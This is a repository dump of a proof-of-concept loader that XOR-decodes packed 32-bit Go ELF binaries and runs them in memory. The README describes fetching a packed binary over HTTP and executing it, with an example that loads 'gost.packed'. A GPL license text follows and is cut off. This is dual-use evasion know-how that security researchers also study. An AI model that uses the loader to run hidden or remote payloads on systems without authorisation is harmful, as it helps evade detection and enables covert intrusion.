├── README.md ├── loader.c ├── loader.h └── runtime-unpack-master ├── LICENSE ├── Makefile ├── bin ├── loader ├── peda-session-loader.txt └── samples │ └── tests │ ├── blackjack │ ├── blackjack.packed │ ├── func_pointers │ ├── func_pointers.packed │ ├── helloworld │ ├── helloworld.packed │ ├── input │ ├── input.packed │ ├── malloc │ ├── malloc.packed │ ├── malloc_loops │ ├── malloc_loops.packed │ ├── pyramid │ ├── pyramid.packed │ ├── system │ └── system.packed ├── peda-session-gost.txt ├── peda-session-loader.txt ├── src ├── linking_script.ld ├── loader.c ├── loader.c.bak ├── loader.c.bak.file └── loader.h └── tests ├── blackjack.c ├── func_pointers.c ├── helloworld.c ├── input.c ├── malloc.c ├── malloc_loops.c ├── pack.py ├── pyramid.c └── system.c /README.md: -------------------------------------------------------------------------------- 1 | # memory_execute_golang_elf 2 | 内存加载执行golang elf二进制文件 3 | 4 | 本项目基于https://github.com/0xbigshaq/runtime-unpack 进行开发,通过堆栈迁移实现了参数传递 5 | 由于只是个POC,所以目前只支持32位的elf,并且使用go build保留了完整符号表。 6 | 7 | 8 | ![image](https://user-images.githubusercontent.com/18378246/146856469-6ecc76b7-8dcb-45ff-8f1a-006b489ff2a9.png) 9 | 10 | 同样也可以实现远程http加载golang 11 | 12 | ![11ac41c004e693748a55b84d3ad8aa6](https://user-images.githubusercontent.com/18378246/147041326-b0be7fba-bc14-481a-874b-1bc5e0ca8ecc.png) 13 | 14 | 15 | 用法loader: 16 | ./bin/loader \[HTTP地址,不要带上http://] \[参数] 17 | 18 | Example: 19 | > ./bin/loader localhost:8888/lib/gost.packed -V 20 | -------------------------------------------------------------------------------- /loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | 10 | #include "loader.h" 11 | /* 12 | * Static ELF Loader for x86 Linux 13 | * 14 | */ 15 | 16 | void print_e(char* msg) 17 | { 18 | fputs(msg, stderr); 19 | } 20 | 21 | void unpack(char* elf_start, unsigned int size) 22 | { 23 | printf("[*] Unpacking in memory...\n"); 24 | for(unsigned int i = 0; i <= size; i++) 25 | { 26 | elf_start[i] ^= UNPACK_KEY; 27 | } 28 | } 29 | 30 | unsigned int getfilesize(char* path) 31 | { 32 | FILE* fp = fopen(path, "r"); 33 | if (fp == NULL) { 34 | print_e("[getfilesize] File Not Found!\n"); 35 | exit(0); 36 | } 37 | 38 | fseek(fp, 0L, SEEK_END); 39 | long int res = ftell(fp); 40 | fclose(fp); 41 | 42 | return res; 43 | } 44 | 45 | int is_image_valid(Elf32_Ehdr* hdr) 46 | { 47 | if(hdr->e_ident[EI_MAG0] == ELFMAG0 && // 0x7f 48 | hdr->e_ident[EI_MAG1] == ELFMAG1 && // 'E' 49 | hdr->e_ident[EI_MAG2] == ELFMAG2 && // 'L' 50 | hdr->e_ident[EI_MAG3] == ELFMAG3 && // 'F' 51 | hdr->e_type == ET_EXEC) { 52 | return -1; 53 | } 54 | else { 55 | return 0; 56 | } 57 | 58 | } 59 | 60 | 61 | void* symbol_resolve(char* name, Elf32_Shdr* shdr, char* strings, char* elf_start) 62 | { 63 | Elf32_Sym* syms = (Elf32_Sym*)(elf_start + shdr->sh_offset); 64 | int i; 65 | for(i = 0; i < shdr->sh_size / sizeof(Elf32_Sym); i += 1) { 66 | if (strcmp(name, strings + syms[i].st_name) == 0) { 67 | /* 68 | * In static ELF files, the st_value member is 69 | * not an offset but rather a virtual address itself 70 | * hence, it's not necessary to calculate an RVA. 71 | */ 72 | return (void *)syms[i].st_value; 73 | } 74 | } 75 | return NULL; 76 | } 77 | 78 | void* load_elf_image(char* elf_start, unsigned int size) 79 | { 80 | // declaring local vars 81 | Elf32_Ehdr *hdr = NULL; 82 | Elf32_Phdr *phdr = NULL; 83 | Elf32_Shdr *shdr = NULL; 84 | char *strings = NULL; // string table (offset in file) 85 | char *start = NULL; // start of a segment (offset in file) 86 | char *target_addr = NULL; // base addr of a segment (in virtual memory) 87 | void *entry = NULL; // entry point (in virtual memory) 88 | int i = 0; // counter for program headers 89 | 90 | // unpacking 91 | unpack(elf_start, size); 92 | 93 | // start proccessing 94 | hdr = (Elf32_Ehdr *) elf_start; 95 | printf("[*] Validating ELF...\n"); 96 | 97 | if(!is_image_valid(hdr)) { 98 | print_e("[load_elf_image] invalid ELF image\n"); 99 | return 0; 100 | } 101 | 102 | printf("[*] Loading/mapping segments...\n"); 103 | phdr = (Elf32_Phdr *)(elf_start + hdr->e_phoff); 104 | 105 | for(i=0; i < hdr->e_phnum; ++i) { 106 | if(phdr[i].p_type != PT_LOAD) { 107 | continue; 108 | } 109 | 110 | if(phdr[i].p_filesz > phdr[i].p_memsz) { 111 | print_e("[load_elf_image] p_filesz > p_memsz\n"); 112 | return 0; 113 | } 114 | 115 | if(!phdr[i].p_filesz) { 116 | continue; 117 | } 118 | 119 | start = elf_start + phdr[i].p_offset; 120 | target_addr = (char* )phdr[i].p_vaddr; 121 | 122 | if (LAST_LOADABLE_SEG(phdr, i)) { 123 | phdr[i].p_memsz += 0x1000; // extra-page padding 124 | } 125 | 126 | // allocating memory for the segment 127 | mmap(target_addr, phdr[i].p_memsz, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); // hotfix patched by BigShaq 128 | 129 | // moving things around *poof* 130 | memmove(target_addr,start,phdr[i].p_filesz); 131 | 132 | // setting permissions 133 | if(!(phdr[i].p_flags & PF_W)) { 134 | mprotect((unsigned char *) target_addr, 135 | phdr[i].p_memsz, 136 | PROT_READ); 137 | } 138 | 139 | if(phdr[i].p_flags & PF_X) { 140 | mprotect((unsigned char *) target_addr, 141 | phdr[i].p_memsz, 142 | PROT_EXEC); 143 | } 144 | } 145 | 146 | printf("[*] Looking for a .symtab section header...\n"); 147 | 148 | shdr = (Elf32_Shdr *)(elf_start + hdr->e_shoff); 149 | 150 | for(i=0; i < hdr->e_shnum; ++i) { 151 | if (shdr[i].sh_type == SHT_SYMTAB) { 152 | printf("[*] SHT_SYMTAB entry was found, looking for main() ...\n"); 153 | 154 | strings = elf_start + shdr[shdr[i].sh_link].sh_offset; 155 | entry = symbol_resolve("_rt0_386_linux", shdr + i, strings, elf_start); 156 | //entry = symbol_resolve("main.main", shdr + i, strings, elf_start); 157 | 158 | printf("[*] main at: %p\n", entry); 159 | break; 160 | } 161 | } 162 | 163 | return entry; 164 | } 165 | 166 | int main(int argc, char** argv, char** envp) 167 | { 168 | int (*ptr)(char **, int, int,int,int,int); 169 | FILE* elf = fopen(argv[1], "rb"); 170 | unsigned int filesz = getfilesize(argv[1]); 171 | char* buf = malloc(filesz); 172 | 173 | int result; 174 | fread(buf, filesz, 1, elf); 175 | fclose(elf); 176 | ptr = load_elf_image(buf, filesz); 177 | free(buf); 178 | 179 | if(ptr) { 180 | printf("[*] jumping to %p \n----------------\n", ptr); 181 | 182 | asm volatile( 183 | "push $0\n" 184 | "push $0\n" 185 | "push $0\n" 186 | "push $0\n" 187 | "push $0\n" 188 | "push $0\n" 189 | "push $0\n" 190 | "push $0\n" 191 | "push $0\n" 192 | "push $0\n" 193 | "push $0\n" 194 | "push $0\n" 195 | "push $0\n" 196 | "push $0\n" 197 | "push $0\n" 198 | "push $0\n" 199 | "push $0\n" 200 | "push $0\n" 201 | "push $0\n" 202 | "push $0\n" 203 | "push $0\n" 204 | "push $0\n" 205 | "push $0\n" 206 | "push $0\n" 207 | "push $0\n" 208 | "push $0\n" 209 | "push $0\n" 210 | "push $0\n" 211 | "push $0\n" 212 | "push $0\n" 213 | "push $0\n" 214 | "push $0\n" 215 | "push $0\n" 216 | "push $0\n" 217 | "push $0\n" 218 | "push $0\n" 219 | "push $0\n" 220 | "push $0\n" 221 | "push $0\n" 222 | "push $0\n" 223 | "push $0\n" 224 | "push $0\n" 225 | "push $0\n" 226 | "push $0\n" 227 | "push $0\n" 228 | "push $0\n" 229 | "push $0\n" 230 | "push $0\n" 231 | "push $0\n" 232 | "push $0\n" 233 | "push $0\n" 234 | "push $0\n" 235 | "push $0\n" 236 | "push $0\n" 237 | //"push %2\n" 238 | //"push %1\n" 239 | "movl %3, %%edx\n" 240 | "movl $2, %%eax\n" 241 | "movl %1,%%edi\n" 242 | "LOOP:\n" 243 | "movl %2, %%ecx\n" 244 | "cmp %%edi, %%eax\n" 245 | "je SOMTHING\n" 246 | "movl %%edi, %%ebx\n" 247 | "imul $4,%%ebx\n" 248 | "add %%ebx, %%ecx\n" 249 | "sub $4, %%ecx\n" 250 | // "movl (%%ecx,%%ebx,4), %%esi\n" 251 | "push (%%ecx)\n" 252 | "dec %%edi\n" 253 | "jmp LOOP\n" 254 | "SOMTHING:\n" 255 | //push last one 256 | "movl %%edi, %%ebx\n" 257 | "imul $4,%%ebx\n" 258 | "add %%ebx, %%ecx\n" 259 | "sub $4, %%ecx\n" 260 | "push (%%ecx)\n" 261 | // "push %2\n" 262 | "movl %1, %%ecx\n" 263 | "dec %%ecx\n" 264 | "push %%ecx\n" 265 | "movl $0, %%eax\n" 266 | "movl $0, %%ebx\n" 267 | "movl $0, %%ecx\n" 268 | "movl $0, %%ebp\n" 269 | "movl $0, %%esi\n" 270 | "movl $0, %%edi\n" 271 | 272 | // "push $1\n" 273 | 274 | "jmp %%edx" 275 | : "=r" (result) 276 | : "rm" (argc), "pm" (argv), "p" (ptr) 277 | ); 278 | //ptr(argv,argc,argc,argc,argc,argc); // https://youtu.be/SF3UZRxQ7Rs 279 | } 280 | else { 281 | printf("[!] Quitting...\n"); 282 | } 283 | return 0; 284 | } 285 | -------------------------------------------------------------------------------- /loader.h: -------------------------------------------------------------------------------- 1 | #define LAST_LOADABLE_SEG(prog_header, index) prog_header[index+1].p_type != PT_LOAD 2 | #define UNPACK_KEY 0xff 3 | 4 | void print_e(char *msg); 5 | void unpack(char* elf_start, unsigned int size); 6 | unsigned int getfilesize(char* path); 7 | int is_image_valid(Elf32_Ehdr* hdr); 8 | void* symbol_resolve(char* name, Elf32_Shdr *shdr, char* strings, char* elf_start); 9 | void* load_elf_image(char* elf_start, unsigned int size); 10 | -------------------------------------------------------------------------------- /runtime-unpack-master/LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by 